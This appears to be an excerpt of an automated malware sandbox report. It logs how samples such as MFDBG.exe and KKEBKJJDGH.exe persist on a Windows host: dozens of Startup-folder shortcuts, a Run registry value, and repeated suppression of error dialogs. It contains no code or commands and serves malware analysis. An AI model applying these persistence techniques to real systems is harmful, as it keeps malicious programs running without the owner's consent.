Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_362b93ee8c95459ea25ef1a7dfefa8d8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_016447432655400c81d6f2e9ec863ace.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0838d24322a84f3fbb157156bcf85a04.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ec1d584c4294053954289ca7f85978e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7504928e4681443390e680df0cc056d4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dea49491e95c43f5b4bdd936e4b9f0db.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_07fa4c79f7204ad69c3554b56c383b72.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bfafb3faa7794c45a0589326d8613c47.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cdb0d632f77b4c13ab6875b560cfe7e0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a1435286dd0142a0bd90a8c4089e725c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa4033d9a3dd4de5a3259d8557af10f4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24e24b2fa7f94d10a88b6bb51a2890d4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_910c61b241fa4539a4ae84caafa36082.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_131c79f2f2234ad39aab67984686eb12.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_639a5069d792485b8d527a5acd676be4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc14931c83ef4ed1958a98e4f1aa6358.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2f916f97aa648539394f96767ec1ef7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_427e9723522a4b1e816dc5fe07be0698.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f391ed73796d4b0b9aa65c476173d4ba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41ba1aef2f1e48b89fa0a679ff454984.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d04b6584e4544afa4f2d74eafe46fdc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23894f5d7bdd47cea3cf20ef832fe2b5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce2a4bf918fd4bf79d7ba3f9dbdc98e2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c65cf777aac4c7c98e60e5fe3ea64b2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64d61972cc6a4c6f9824e4b468000564.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2d3f6cedbf24f2eadfd846be0ea84e4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30db688b48ad407e8d26fcafd3bc43ea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f203461ed3f54099a43e61a4fa79e7df.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_508794ac0df744818ffa3501607b62a1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9e52bec68454d7f8db7cc1e05061538.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0385928629944778b2724aec0db1df33.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af0762982b264f6d84a82cece4ffc5c1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_444815b50e5c49c38dae249b0eacd34f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87322271bf0c4a52a6ea5cf738a19ca8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_08974abe4f094b60ac2f760814dbd4d6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1998607768c84717b719a77547672d63.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_022a2f61e79f4cf2bf7c452290f9751b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21693d15e4664c01837f92d473c1fc44.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85a0215346684495b9a8dc827bc76dca.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25df9caa4858446e86db92c4ad1d62ec.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c69460b03e74cb398a3043b4ff42089.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a59916d88d3a47d8b20814ddda0440bb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12a5d23e72184ec491bd7c7886bf84f0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_531b7f5679004733a8d5669acf3c222c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f28473ed6134069b15f25a652cb7522.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9339e61d61634a1c8da600e5419e3750.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5df2af7535f64820a426eab2fed19e5e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_262a55451cfe459dad006484e57ff0fc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4818f83208af43baaa7655035e0df76f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cca19c84d02a40528802781fc1b2fb22.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21c166fd89c0470e818cd81de4ac98e5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc8f45d4cb0b4b0a8720fbaca1d84461.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a22312269ffe4b7d82c54d639bef7cdf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d4f7b348e0f4329bb6e62278a935741.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_115a07de6d8446fcaee71c669b8628f5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5374c1c7dd544505880307111224d1f5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0349fb76d5714c1986b91935899a4f21.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6aa232588de47d5961cf698a7d7372c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a43bb2a218284d3faf95034d92bb5c40.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c451081f93c455588f827b8a02e342c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b119b4907bd943039f9c162bbdbd410e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d51846f363b848d2abff970aca79a11d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84eb78af97b44dc6a174b7bb3c29cec7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4d57623db064d419898538f58f31ae0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_52a42962f19b49ee8d723796fabcbfd7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a40460a35aff4aa3a594be20dc7337a1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67a9ce341d9e4ee589ec3434ce1c9356.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9420d16d7224c958d9c4589d3c3343c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba82f9ba856346988b72867c4fbcd442.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6493f136c8aa4d7f9929a78af8fb7fa8.lnk	Jump to behavior

Source: C:\ProgramData\KKEBKJJDGH.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_ccd2458d6ac54884ba6051fba5e93da0			Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_ccd2458d6ac54884ba6051fba5e93da0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_0041891A

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
